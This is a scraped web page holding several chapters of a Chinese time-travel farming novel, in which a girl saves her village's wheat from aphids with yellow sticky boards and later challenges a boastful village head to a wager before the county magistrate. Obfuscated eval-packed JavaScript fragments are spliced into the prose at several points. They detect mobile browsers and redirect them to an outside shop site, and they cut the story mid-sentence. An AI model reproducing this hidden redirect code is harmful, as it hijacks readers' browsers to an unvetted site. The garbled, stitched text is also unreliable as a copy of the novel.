l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13367863|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了蚜害，和治蚜害需要黄板的事情同李永丰大概说了一遍。 “依满山兄所言，现今是找我订购木片来了。” “正是。” “这倒不难。”李永丰示意两人稍坐，从后院抱了一斗东西“哗啦”一下全倒在地上。 乔元定睛一看，地上的东西竟全都是木片。 李永丰道：“这些木片都是我做工时候剩下的次品，满山兄看看，可有能用的？若不能用，你们且告诉我大概要什么样的，我今日就能给你刨不少出来。” 乔元从地上拾起几板木片看来看，薄厚正好，就是大小有些不太合适。她从包裹拿出自家做的一块木片，递到李永丰手中：“永丰叔，可能做成这样大小的木片？” 李永丰简单的翻看了一下道：“这简单，你们大概要多少，若是不多，你们可在这里等上一个时辰，我马上就给你们做。” 各处的蚜害他听说过，不过他是个靠手艺为生的木匠，平日里又会进山打猎，蚜害对他来说影响倒是不大。但如今既已有了治蚜害的法子，他也当尽力才是。毕竟这地里的麦子等不得，拖晚一日，麦子就萎靡一日。 “约莫七百张。”乔元道，这是她预估出来的第一批投入使用的量。 地里除了种小麦，还有一部分是行人走的田垄和菜地，除去这些，至少需要七百张黄板才勉强堪够。 “行。”李永丰点头，“你们什么时候要？” “后日之前。” 乔元和里正约好，三日之内，她一定会把黄板做出来送到田地上。 李永丰沉吟一会儿道：“也罢，我这几日便少睡些，尽力赶工就是。” “多谢永丰兄。” “多些永丰叔。” 乔家父女俩异口同声道。 言罢，乔满山从包裹里掏出了一裹铜钱，“永丰兄，这些钱你先收下，就当是定金。” 李永丰忙推辞道：“满山兄你真是太客气了，区区木片哪里用得到这么多钱。” 他将铜钱随手分成两份，将多的一份退还给乔满山。“镇上的木片十文一斗，满山兄同我既是异姓兄弟，我便收五文一斗，这点钱我先收下，剩下的满山兄且都带回去吧。” “也罢。”乔满山熟悉他的性子，便道，“既如此，等木片做成的时候，我再来付剩下的钱。” 几人又笑着将茶盏喝完，乔满山起身同李永丰告辞。“家里事多繁忙，我先告辞了。” “行，满山兄既信得过我，我此刻便开始做木片，也就不留满山兄了。”李永丰直爽道。 乔元见父亲和李永丰告别，两人带着包裹踏上归途。 木片的事情解决了，黄布只消去市集上买就是，那剩下的便只有鱼胶了。 乔元在来时的路上，就把制作黄板需要的各类东西和乔满山说了清楚，她问道：“爹，我们这会儿子上哪儿找鱼鳔去？” 乔满山道：“元姐儿可还记得，我们前几日的鱼是哪里来的？” 乔元眼睛一亮。“陈叔。” 她倒是给忘了，陈叔既是捕鱼人，自然知道从哪里才能得到这么多鱼鳔。 8. 蚜虫（八） 陈吉住的离河滩不远，乔满山带着乔元，绕过村子，直奔河滩。 河滩同往日一样，流水漫过，周遭只有芦苇的沙沙声响。 乔元跟在乔满山身后，望了一眼那日绑着绳子的柳树。柳树上的绳子早已不见踪影，水边浅摊上也没有留下她那日挣扎的痕迹，一切消弭地无影无踪，仿佛像是昨日梦境。 收回目光，乔元面色不变，继续往前走去。 她要成长的更快一些，才能保护自己的家人。 两人再稍走一段路，走过芦苇荡后的拐角，视野里突兀的出现了一幢茅草封顶的屋子，屋子看上去很是小巧。门口种着些不知名的野花，还有一些零碎的东西被搁置在院子里，东西虽多，却丝毫不显杂乱。 门是开着的，细看里头像是有人。 父女俩不便贸然进入，乔满山便只在离稍远些的地方道：“陈兄，可在否？” 稍顷，屋里坐着的人闻声而出。见到是乔满山父女，笑道：“满山兄，什么风把你们父女俩给吹来了？” “快，进来坐罢。” 还没等陈吉将两人迎进门，只见从屋子里走出来位长须老人。老人看上去已经有些岁数，两鬓斑白，双眼略有些浑浊，但精神却很是不错。 见到乔家父女，老人对陈吉淡淡道：“既然你有客人来访，我便先走了。” 陈吉抱拳对老人一礼，“纪老慢走。陈吉今日招待不周，待改日再去你家登门拜访。” 老人点点头，便往外走去。 明明看着是位耄耋老人，却不消片刻，就消失在了几人的视野里。 乔元心下略感惊奇，却也不好多问。倒是乔满山开口道：“陈兄，刚刚这位是？” 陈吉道：“不怪满山兄弟不认识，这位是纪老，他家住在离村西三里处，鲜少出来走动。几月前，纪老曾经救过我，我便送了些鱼作为谢礼，一来二去的，他便偶尔来我这里坐坐。” 乔满山道：“原来如此。” “满山兄今日突然到访，可有什么事情？”陈吉给两人沏了壶茶道。 乔满山便把要做黄板治蚜子的事情同他说了一遍。 陈吉听完，道：“我当是什么事，这有何难。明早那江明渡便有鱼市，我到时候去了给你带两筐鱼杂回来。” “如此便多谢了。” 乔满山依样拿了铜钱出来，陈吉和李永丰一样，只拿走了一点，乔元暗自在心里记好价格，等到时候一齐结算。 父亲和好友说话自己插不上嘴，乔元便打量起院子里的一景一物。 突然，一张破旧的抄网引起了她的注意，抄网的尾端是根竹竿，竹竿上有三个节。 …… 这是她那日做的抄网！ 莫非那日袭击她的人就住在这里？！ 陈吉在喝茶间隙见乔元盯着院子里的抄网神色变换，便问道：“元姐儿识得这抄网？” “并不识得，只是觉得这抄网破旧，倒像不是陈叔院中之物。”乔元面上很是坦然。只是没人注意到，她放在桌子下的手已经紧握成拳。 陈吉笑道：“前几日我归家晚了些，却发现绑船的绳子不知为何被人丢到了水里，我将绳子从水里拉起来，却见到绳端绑着这抄网。我当是村中小儿的玩笑，便把抄网带回了家中。只可惜，等了几日也不见小儿来寻，怕是不要了。” 听完这番话，乔元握拳的手松的彻底，面上有些挂不住。实不相瞒，她刚刚已经在心底计划怎么带着自家爹逃了。 ……别说，还挺巧。 好在没说几句，乔满山就起身请辞，乔元也得以脱离这尴尬境地。 解决完做黄板的材料危机，走在回家路上的乔元这才真正松了一口气。 想到什么，她突然躬身给乔满山行了一礼，“今日多谢爹爹。” 乔满山被自家女儿这跳脱的个性吓了一跳，无奈道：“你这妮子，跟自家爹爹客气作甚。行了，快回家罢，你阿娘还在等着呢。” “哎！”乔元笑的两颊圆圆，很是可爱。 待到归家，周素还在做饭，乔长平则刚带着乔永言从地里回来。 他一见到乔元，便止不住的夸口道：“平日竟没发现二妹妹有如此天资，我今日还没到地里，就听人说这挂黄板是你的主意，我们家元姐儿真是长大了，让人刮目相看。” 乔元被夸的有些不好意思，便道：“我去给娘帮忙。”说完，就到厨房找周素去了。 见乔元走远，乔长平这才对乔满山道：“爹，我这几日打听了一圈，没人说见到元姐儿被人欺负。” 提起这事，乔满山又想起那日乔元带着一身伤回家，他心里始终还是有些放心不下，道：“知道了。不过元姐儿是你唯一的妹妹，她的事情你还得多放在心上。” “放心吧爹。”乔长平保证道。 一家人热热闹闹地吃完晚饭，乔元趁着天色未暗，又陪着乔永言玩了一会儿。没玩一会儿，她就觉得身子开始犯困。乔元也没强撑，梳洗一番，也便早早的睡下了。 —— 第二日辰时，陈吉准时叩响了乔家的门。 乔元正和周素在院子里裁黄布，听见声响，她便起身去开门。 陈吉见开门的是乔元，说道：“元姐儿，我把你爹托我带的鱼杂给送过来了。” 两筐鱼杂放在陈吉的脚下，还流着些腥臭的血水。 乔元乍一开门，被这两框鱼杂的味道熏的够呛，她努力憋着气，还陈吉一礼道：“多谢陈叔。” 周素见陈吉来了，忙从屋里拿出乔满山昨日交代她包好的铜板。“陈家兄弟，这些银钱你收好，今日让你送这一趟鱼杂，实是麻烦了。” 陈吉收下铜板，爽朗道：“嫂嫂这是说的哪里话，满山兄就像是我大哥，这点事算得上什么。况且，我这也是拿钱办事，不算吃亏。” 说罢，他晃了晃手里包好的一打铜板。 帮着乔元母女俩把鱼杂搬到院子里，陈吉告辞离开。 满院子弥漫着浓重的鱼腥味，乔元觉得自己怕是要把早上吃的东西都吐出来了。 鱼杂里包含了各种除鱼肉外的东西，对乔元来说，最重要的是鱼鳔，其次是鱼骨。鱼身上只有这两样东西才能熬制出胶。 本来出胶最好的就是鱼鳔，但现在黄板要的鱼胶量多，乔元想了想还是决定把鱼骨也加上去。 看着两筐满满当当的鱼杂，乔元只觉得天昏地暗。因为她现在要做的事情，就是在这两筐鱼杂里把能用的鱼骨和鱼鳔挑出来。 但是——呕—— 乔元忍不住躲进屋子里干呕起来。 这鱼杂实在是太臭了。框子里鱼内脏的腥味混合着血腥味，经过了几个时辰的发酵，混合成了一股令人‘闻风丧胆’的味道。这个时代没有保鲜技术，鱼杂是早上的鱼市取的，被日头晒了一早上，已经有些开始发烂，整框东西臭的乔元没办法呼吸。 周素见女儿呕的这样厉害，不知怎的像是发现了什么好玩的东西，她笑着摇了摇头对乔元道：“行了元姐儿，这些事情让娘来，你只管负责熬胶就行。” 乔元这回是真不敢逞强，她道：“那便辛苦阿娘了。” 说罢，她便带着剪子和黄布，逃也似的坐到后院去接着裁黄布了。 费了周素一早上的功夫，她才把这两筐鱼杂里能用的鱼骨和鱼鳔给洗了出来。 前院还弥漫着一股死鱼味，乔元只能在自己鼻子里塞了两大团棉花，这才敢坐在厨房熬起鱼胶。 有了上次熬胶的经验，乔元这次很是熟练，剪鱼鳔，生火熬胶，反复添水，再到后来的揉搓出胶。 费了一日的功夫，乔元终于做出了一整盆的鱼胶。 怕鱼胶放在外面晚上会有露水渗入，乔元便把它放在了厨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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地里还留了不少人，有些人是听说今日要挂黄板，特意在地里等的，有些则是还在地里忙活。见乔家人来了，不管在忙还是没在忙的人，都纷纷在地里的互相吆喝，没一会儿就全都聚到了路口的大树下。 有些那日来迟没见过黄板，却听说黄板奇效的人，正是心痒难耐。忍不住挤到前面些，好让自家地里早些拿到黄板。 “里正到。”没过一会儿，后头不知是谁喊了一声，人群纷纷让出一条路来。 里正拄着拐杖走到前头，待他看到推车上满满当当的黄板后，他脸上多日来的愁苦终是被笑意取代。 “好啊！有了这些黄板，我石湾村终是不用再受这蚜害之苦了！” 里正看向乔元，“元姐儿，那就烦你将这黄板如何使用告诉诸位，好让他们能将这黄板发挥最大的用处。” 乔元点头，“这是自然。” 乔元看向众人，简明扼要地说名了挂黄板的数量和高度，并让他们务必要在靠近沟渠的地方额外再多挂上几张。 确定众人清楚后，乔元这才和家人一起将黄板发给了在等待的村民。 有了里正在一旁监管，黄板发放的非常顺利，每户都领到了和自家田地亩数相匹配的黄板。 有了黄板，今日石湾村的田地里可谓是热火朝天。原本因为蚜害整日焦急上火的村民门，一改往日的颓色，人人脸上都洋溢着笑容。农人靠天吃饭，有了黄板，他们地里的麦子可就有救了！ 村民们插黄板一直持续了快一个时辰，有些人怕放不好，又请了乔元去看。 本着好事做到底的原则，乔元由乔长平陪着，待村民大都归家后，又踩着仅剩的日光，把每一亩地上的挂着的黄板都仔细检查了一遍。碰上有些乱挂的，乔元还得把木头枝子拔出来重新插。 就这样一直忙到银辉撒满大地，乔元和乔长平两兄妹才得以回家休息。 囫囵吃了几口饭，乔元实在是撑不住了，和周素打了声招呼，就直接躺到床上睡死过去。 9. 蚜虫（九） 原主身子骨实在不好，乔元这一睡，直到第二日正午才堪堪醒来。 睡醒了两眼一睁，她条件反射般就往地里跑去，活像当年被导师抓着做科研。 石子路上有不少人，不知怎么的，乔元总觉得今日大家分外热情。 “元姐儿，这是要到地里去？”上了年纪的老丈拉着她的手，看她的眼神活像亲孙女。 “元姐儿，可吃了，眼看着要到正午，不如到婶子家吃顿便饭？”又不知从哪儿冒出个婶子，硬是要拉着她去家吃饭。 乔元一一谢过，生怕再被拦着，她脚上的步伐不禁加快，最后是一溜烟小跑才到了田地上。 昨天收拾的太晚没注意，今日站在田埂的高处一看，田地里插满了黄板，远远看去连成一片，像是摇曳的黄色海洋，很是壮观。 来不及感慨，乔元又蒙头下到地里，开始查看黄板的沾虫情况。 蚜虫的黄趋性让黄板的效果立竿见影，不过一晚上，地里的黄板几乎沾满了蚜虫。小麦苗上的蚜虫虽然还剩下不少，但对比乔元第一日来看的情况，已经好了很多。 只要坚持使用黄板，石湾村的蚜害不肖一周就能减轻到可控范围内。 乔元接着往田地的深处走去，昨天时间紧急，她来不及测出虫口密度就让村民把黄板挂了上去。现在黄板上的虫口密度基本稳定，她需要把黄板的数量和位置再做一次修改。以求黄板能发挥更好的效用。 石湾村的地看着没多少，乔元一个人忙活了一早上，也才理了几亩。在麦田里直起腰，乔元单手握拳敲了敲酸痛的部位，还是得找个帮手才行。 乔元正拧眉想着，手里兀的就被塞了一篮子鸡蛋。她回头一看，是一个头戴粗布方巾面容黝黑的妇人。 “元姐儿，这是婶子自家鸡下的蛋，你快拿去补补罢！” 大旱过后，各家各户日子都过的紧巴巴的，单看这妇人的样貌便知她的家境。乔元推脱道：“婶子客气，鸡蛋贵重，婶子且留着自家吃罢。” 妇人却不肯，执意将这一小篮子塞给乔元，“元姐儿，若不是你，我家便是砸锅卖铁也交不上今年的田税，婶子家没有能送的出手的东西，这篮子鸡蛋你说什么也要拿去。” 妇人神色认真，大有一副你不拿我便送你家去的架势。 乔元只得谢过，将这一篮子鸡蛋收了下来。 有了妇人的先例，又有些农人带着自家种的东西来送给乔元。 “元姐儿，这是叔家今早刚摘的香椿，你收下罢。” “这篮子小菜你拿去，多亏你了元姐儿，如今我家地里的蚜子真少了许多呢！” “现下的荠菜嫩的能掐水，元姐儿你且拿去尝个鲜。” 来送东西的村民大都顶着一张质朴的笑脸，乔元知道，这是他们在用自己力所能及的方式表达谢意。 黄板她本就算了三文一张，哪还能收村民这许多东西，乔元把能退的都退了回去，实在推脱不了的，便也只拿了一些，就算这样，等她归家时，手里也抱的满满当当。 打开门的周素见乔元带回来这么多东西，吓了一跳，但她细想想就知道这些东西是哪里来的了。便又有些有些欣慰的摸了摸乔元的头道：“我们元姐儿真是能干，连阿娘都佩服你了。” 蚜害看似得到缓解，可乔元却没法歇口气，她在脑海中回顾着地里的蚜害情况，开始思考下一轮得挂多少黄板。对蚜虫最是不能掉以轻心，一旦放纵，它们没几天就又会卷土重来。 “咚咚咚——”有人在敲门。 乔元生怕又是来送东西的村民，赶忙躲进了里屋。 周素打开门，来人拄着拐杖身形消瘦，脸上却是带着掩饰不住的喜意，正是里正。他开口问道：“元姐儿在否？” 周素忙将人迎了进来，“她在里屋呢。” 在屋里听到声儿的乔元，快步走了出来，“可是黄板有何不妥？” “非也非也。” 里正笑着示意乔元进屋说话。 到了屋里，里正将拐杖斜倚在门上，从身旁的布袋里掏出一些东西，放到乔元面前的桌子上。 是一两银子，和一把铜钱。 里正道：“元姐儿，当初说好三文一张的黄板，今日我是来把钱给你的。” 说罢，他指了指铜钱，“你且数一数，看数量对不对。” 黄板下地不过一日，乔元没想到里正居然这么快就把钱送了过来，她起身行礼道：“多谢里正。” 里正笑着摆摆手，他本都以为这蚜害怕是再无指望了，谁能知晓眼前这女娃娃居然有如此际遇，能得到仙人指点拿到了治蚜害的法子。有了这黄板，他石湾村在今年的祭礼上何愁比不过其他几个村。 想到这儿，里正觉得自己心口的气都顺了些，他道：“元姐儿，这次真是多亏你了，我今晨下地看过，你那黄板上全沾着蚜子，想来再有一段时间这蚜子便不足为惧了。我见村民们个个都想谢你，你可真是我们村的福星啊！” 乔元谦虚道：“里正过誉了。” “元姐儿，我今日来除了给你送钱，还有一桩事情说予你听。” “里正请讲。” “再过两日便是初一，周边几个村的里正都会去县衙一趟，你可愿与我同去？” 乔元听明白了，这是带着她汇报工作去了。 银子和铜钱还都明晃晃的在桌上摆着，拿人手短，哪还有不去的道理，乔元道：“承蒙里正不弃，乔元自是愿意同去。” “那便再好不过，届时我会派人来接你。”里正道。 事情办完，里正也不再多留，乔元和周素恭恭敬敬地送了他出去。 刚刚打眼瞧着里正似是有话单独和女儿说，周素端上盏茶后就去了后院。如今一回来就看到桌子上的钱，她不可置信地揉了揉眼睛，对乔元道：“元姐儿，娘没看错吧，这桌子上怎么会有这么多钱？！” 乔元被周素的样子逗的发笑，“阿娘，你没看错，这些是卖黄板得来的钱。” 周素看的眼睛都直了，她嫁入乔家这么多年，就没见过家里有这么多钱过。 农人的日子难捱，一年到忙到头也攒不下几个铜板。家里大大小小都得张嘴吃饭，去岁又是大旱，家里的积蓄去了七七八八，前几日女儿落水，一咬牙连仅剩的鸡都卖了。现下乍一看到这么多钱，周素竟只觉得自己在做梦。 乔元看着周素又喜又悲的，她心头的滋味也不好受。石湾村人人都说周素命好嫁了乔满山，不下地不劳作，自打嫁过来就没过过一天苦日子。可没人看到她早些年一夜夜熬着伺候公婆，被责打被奚落，日日还没鸡鸣就得起身伺候一大家子，寒冬腊月怀着孕被磋磨的差点连乔永言都生不下来。 见女儿眼里满是心疼，周素背过身将泪擦去，“都是娘不好，惹的我们元姐儿伤心。” 乔元不管这些，她面带郑重拉着周素的手，一字一顿地说道：“阿娘，你放心，我一定会赚钱带你过上好日子。” “好，娘等着这一天。”见女儿小小年纪一副大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13367865|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人模样，周素破涕为笑，母女俩在房里一时温情无比。 待到晚间乔家父子归家，见家里霎时多了这么多钱，两个人也是无比咋舌。 用了晚饭收拾完，夫妻俩坐在床上并头夜话。 “这些钱都是元姐儿卖黄板得的？”乔满山问了多次，依旧不可置信。 “那还有假，我亲眼见着里正送来的。”周素在旁边捏着针线笑他。 今儿两人高兴，连平常不兴点的油灯都破例点上了。 “咱们家元姐儿真是出息了。”乔满山笑的憨厚。银子被他用厚厚的油纸包着，塞到了墙角凿出的格子里。 “可不是，没想到元姐儿还懂这些，只我却从来没听她提起过。”周素觉得与荣有焉，可言辞之间还是有些疑惑。 见周素这样说，乔满山又想起了那天乔元当着他面说，自己在梦中去了另一个世界的那些话。 “孩子大了，总有我们不知道的事情。”乔满山宽慰她。 他既已决意不去在意这件事情，那天乔元对他说的话自当是咽在肚子里只当没听过。不论如何，元姐儿就是元姐儿，永远都是他们的女儿。 “郎君说的不错。”周素不再多想。 乔满山帮周素将线筐放到矮几上，“晚上灯火伤眼，早些安置罢。” 吹灭烛火，两人一觉至天明。 两日的时间过的很快。 初一那日乔元特地起了个大早，周素知晓她今日要同里正一起进城，提前一日就将乔元压箱底的衣服洗了出来。 “我的元姐儿今日是真真好看。”镜子里，映照着母女二人的面容。乔元的长相吸取了周素和乔满山二人的优点，鼻梁高挺，五官立体，一弯柳叶眉衬的她面容若玉。乔元今日穿了一袭浅杏色淡纹花鸟褙子，头发被周素齐整的梳了上去，家里没有银钱来打簪子，周素便在乔元头上插了枝浅色木簪。 一番装扮下来，不像是村户出来的姑娘，倒像是城里高门大户的小女娘。 乔元被她看的有些不自在，便道：“阿娘，你别再看了，里正怕是已经遣人过来了。” 周素这才回过神来，将收拾好的包袱递给乔元，“元姐儿，这里头有些干粮和钱，阿娘早早的给你收拾好了，你今日去镇上不比平日父兄在身边，万一遇上要使钱的地方，你尽可用去。” 乔满山夫妇已经想过了，黄板的主意是女儿想的，这钱自然是她该占大头。故而只留了一些用来支撑家里的花销，其余全都存放起来，当做是给女儿的嫁妆。 嫁妆不能动，今日这钱便是从公账里出的。 乔元掂了掂包袱的重量，知道母亲为了自己花尽了心思。她低垂眼睫，心头微动。自打穿越到如今，眼前这瘦弱的妇人时时刻刻都将她看的比自己眼珠子还珍贵。在这样的时代，实在难得。 “元姐儿在否？”门口有人敲门，打断了乔元的思绪。 整理好情绪，乔元一开门便见到了一个高个汉子，她对来人行了一礼，“伯石叔安好。” 乔伯石笑道：“元姐儿，你现在可是我们石湾村的大功臣，快别行礼了，我是奉里正的命来接你的。” 挥手同周素告别，乔元上了乔伯石牵来的牛车。 乔伯石算起来与乔家是同宗，不过关系却早出五服。乔元对此人并不熟悉，原主也没有多少对他的记忆，看到最多的便是他跟在里正身边忙上忙下。 摸不清他是什么样的人，乔元也不便开口，便安安静静地坐在牛车上，等着里正到来。 10. 进城（一） 负责拉车的老黄牛上了年岁，四只蹄子不紧不慢的走着。等乔伯石赶车到里正家时，里正已经收拾好等在院门口了。 为了今日的面见，里正做足了功夫，他身着深蓝色襕衫，头戴幞头，连鞋子也刷的纤尘不染，通身看上去很是精神。 乔伯石取出挂在车尾子上的踏板，先将里正带的包袱提上车，再同乔元二人合力将里正扶上了来。待两人坐稳，他这才坐上车轼，驱车前往金台县。 晨曦微露，就算有牛车去镇上也得花上个把时辰。 乡道上没有人烟，树木林立，路小难行，乔元坐在上面一路颠簸，不由庆幸还好今早没吃多少东西。莫约行了半个时辰，才至官道，官道上路途平坦，偶见驿站和挑担的货郎，乔元颇有兴致地沿路看着，便也不觉时间漫长。 又过半个时辰多，几人终于到了金台县。 乔元第一次到城里，看什么都带着新鲜劲。金石县的城门不高，城墙上有些裂口，裂口上长满了杂草，像是已经许久都没人修缮过了。有人在城墙角支了小摊，卖些鲜蔬瓜果，瞧着生意倒是不错。入了城，主干道只有一条，辅道则像蛛网般蔓延开来，沿街店铺林立还有集市，又因着今日初一，人来人往很是热闹。 人多不好赶牛车，乔伯石便选了条稍偏些的路，驾车到了县衙门口。 到地方，乔元手轻脚健先下了车，待她正回身想要扶里正下来，便听得一阵嘶鸣声，一辆马车在他们面前急停下来。 几人俱是被马声一惊，乔元抬头看去，是辆通体被漆成金色的马车，车厢上悬挂着穗带，很是气派。马车由两匹马拉着，拉车的马毛色微杂，算不上名种，但在这样的世道，能有如此家底已是富贵人家。 车厢上的帘子掀开一半，露出一张肥硕的脸，坐着的人一见到乔元几人，就迫不及待耻笑道：“老张头，你今日怎的穿成这样来县衙了，你这一身衣裳，怕不是得你石湾村人人捐你三文铜钱才买得起罢。” 里正还坐在牛车上没下来，他听见这话也不恼，回头道：“傅家小子，你不过是沾了你爹的光才得了这职位，你我虽同为里正，但我虚长你几十年，我劝你还是积积口德为好。” 傅德清见里正不如往日一般任由他奚落，跟着他的车夫指着里正的鼻子骂道：“瞧瞧，还抖落起来了，一个穷乡僻壤的里正，也敢同我叫板。老张头，我今日停下来同你说上两句，都是你爷爷我心情好纡尊降贵了，不然你算是个什么东西能同我说话。” 污言秽语骂的难听，乔伯石忍不住想上去同他理论，被里正拦了下来。“伯石，别同那般烂人计较，我们且先进去。” 乔伯石心里愤愤不平，却只能依言将牛车停至一旁，跟着里正先进了县衙。 乔元跟在两人后头，这番变故让她心里有了计较，她虽初到石湾村，却也容不得自己村的里正被如此折辱，垂眸略微思索了一番，她心下有了主意。 烫金的匾额挂在门头上，乔元几人跟着接引的人穿过仪门，被引到了县衙的二堂。 人还未至，就听得堂上喧闹声不绝于耳。 乔元竖着耳朵仔细听着，堂上人说的十句里有八句都是为了蚜害，剩下的则是些日常小事，诸如偷盗，斗殴等。 里正带着二人进去，找了个最末的位置落座，堂上没有多余的椅子，乔元和乔伯石便站在椅后，一人一侧。 乔元略数了数，来了至少有十几人，看来这金台县虽说只是个小县城，治下的里正倒是不少。 见里正已然落座，在他座前的人同他见礼后道，“上方兄，今日气色怎的这样好，莫不是有什么喜事？” 一个里的大小都有定数，坐在末席的大都是些不入流的小村里正，故而互相关系也亲近些。 里正拱手回礼，“多谢经义兄关怀，近日烦心事少了些，自然气色也就好了不少。” 田经义奇了，他们俩本就是最末流的里正，虽说手头上管着个不大不小的村子，但村子里头不仅收成差，每年的税收也难缴，时常要被知县催促才能勉强填够。 现下蚜害泛滥，每个里正都忙的焦头烂额，恨不得住在地里抓蚜子，就这还能有什么好事？ 他欲开口再问，便听得有人高喊：“知县到。” 堂上之人霎时噤声，纷纷起身朝着主位躬身站好，待知县落座，才一致道：“拜见知县大人。” 乔元站在最末，仗着没人注意，偷偷抬眼往上瞄了瞄。 果不其然，和刚刚门口拦路那人一样肥头大耳，瞧着就不是什么好东西。 坐在堂上的知县周进打进门就没正眼瞧过下面坐着的人，他随便抬抬手，便示意众人落座了。身旁的属吏在给他扇风，周进靠着椅背惬意道：“可有事禀？”。 刚刚大家都站着没注意，待落座，乔元才发现方才在门口拦路的傅德清此时正坐在知县下首，对周进笑的很是谄媚。 他这一问，傅德清马上就起身行了一礼，脸带得意道：“知县容禀，我们万宝村找到了治蚜害的法子了。” 此言一出，满座皆惊。坐在末端的石湾村三人互相看了看，一时摸不着他说的是真是假。 乔元目光灼灼，对傅德清的话很是好奇，难道古人有更好的除蚜虫法子？ 比起三人所处角落的安静，堂内前排的氛围立时就热闹了起来。 “是什么法子能治蚜害，烦请傅里正告知。” “我们村被蚜子害的苦不堪言，若真有这样的法子真是再好不过了。” “傅德清平常就好吃懒做，连他老子说的话都不能信，他哪能想出治蚜害的好法子？” “可若真是有这样的法子，对大家伙也是件好事。春耕将过，这蚜害再不控制，今年定是没有好收成了。” 各式各样的言语在堂上充斥开来，吵闹如市井。 周进被吵的吹须瞪眼，直接拿着手边的砚台往桌上一拍，“肃静！” 众人被吓的立时收了声。 周进从椅背上直起身，这才道：“傅德清，你快说是什么法子！” 傅德清很是满意众人的反应，他躬身回道：“禀知县，我万宝村村民发现，若是用柏枝熏地，这地里的蚜害能减少十之三四。” 他这话一出，还没等众人有什么反应，乔元噗嗤一下先笑出了声。 为了听这治蚜害的法子，堂上安静异常，乔元这一声笑便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13367866|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 显得很是突兀，在座众人的目光顿时就集中到了她身上。 傅德清眼尖瞧见这是跟张上方那个穷鬼一齐来的野丫头，新仇旧恨涌了上来，他不满的张嘴道：“底下那个小丫头，你笑什么呢？难不成你还有比这更好的法子？” 见乔元要被为难，里正忙起身想要为她说上几句，不料傅德清却不给他机会，“老张头，我可没问你，我瞧你身后这丫头很是能耐，不如让她先说刚刚在笑什么。” 里正脑门上有汗珠渗出，他抬头想让知县说句公道话，却见周进此刻手里正把玩着一串玉珠，饶有兴致的看着堂下的纷争。 他的心顿时冷了。 乔元看得清形式，她拍了拍里正的手示意他别担心，径直从后排走出，往前一直走到跟傅德清齐平。这才冲周进行了一礼，不卑不亢道：“石湾村乔元，也有一治蚜害的法子。” 周进难得看到个颇有姿色的姑娘，他邪笑一声，眯起眼道：“那你便也说说吧。” 傅德清急道：“县令，这丫头片子能有什么法子，别是她为了逃脱罪责找的借口罢。” “怎么，傅里正是觉得自己这治蚜的法子比不得我的不成？”乔元温和无害地补了一刀。 傅德清气窒，“小丫头，毛都没长齐口气道不小，你且说说你的法子是什么？” 乔元却不接话，她转而道：“单说法子多没意思，恰逢知县也在，不如我们立个赌罢。” “赌什么？” “我们就比，谁的法子能在一刻钟内治蚜子最多，谁就赢了如何？” 傅德清听完哈哈一笑，“小丫头，你纵是怕在堂上发笑被责罚，也不必想出这样拖延时间的法子来。” 乔元也跟着笑了起来，“既傅里正觉得自己必赢，为何不敢应赌？” “你！” 傅德清没想到眼前这小丫头是软硬不吃，他偷偷瞄了眼堂上的周进，见他脸上并无愠色，便挺了挺胸脯道：“那我便应你这赌约，你可想要赌什么？金银还是首饰？” 他这话一出，堂下一些里正便笑了起来，他们都觉着一个小丫头能有什么能耐，无非是怕受罚，打肿脸充胖子罢了。 乔元面色丝毫未变，“我们就赌，谁输了叫谁一声爹吧。” 她这话一出，堂下更是哄笑起来，连周进都不禁展眉。 有人道：“傅里正，你今日怕是要喜得闺女了。” “正是正是，莫不是这姑娘瞧着傅里正家境殷实，想认个干爹罢。” “此言有理。” 堂上笑作一团，站在末尾处的乔伯石却是面色惨白。 他咬了咬牙对里正道：“元姐儿这是要干什么，她难道想连着我们石湾村的脸一齐打不成？” 连田经义都不禁侧身对二人道：“上方兄，你带的这丫头什么来头？我看今日这事怕是不能善了啊。” 里正没有说话，他在心里认定乔元的法子是河伯授法，定然比傅德清那劳什子烟熏法强多了。心里虽有些担心，但他面上仍算镇定。 “元姐儿是个有分寸的孩子，我们且再观望看看罢。” 他也想让这里的人看看，他们石湾村不是好欺负的。 11. 进城（二） 不管堂上如何哄闹，乔元依旧气定神闲，面上带笑。 她回身对着周进行上一礼，“那便请知县做个见证，傅里正这是应了我的赌约。赌注是若谁输了，便叫另一人一声爹。” 周进许久不曾看到这么有意思的场面了，他今日正愁找不到乐子，点头应了下来。“好，我给你们做这个见证。” 既是要赌驱蚜害的本领，在堂内是行不通了，众人跟着知县一同移步到二堂侧后边的花园里，开始准备打赌要用到的东西。 见众人又是支桌子又是抓蚜子，忙上忙下的，傅德清心里有些打鼓。他只不过是听下头的人禀告说村里有人想了个治蚜害的法子，且颇有成效，他今日便迫不及待地呈到知县面前想博个头彩。金银之物不过小巧，万一知县开怀，能赏他个一官半职，不比这有名无实的里正强上许多。 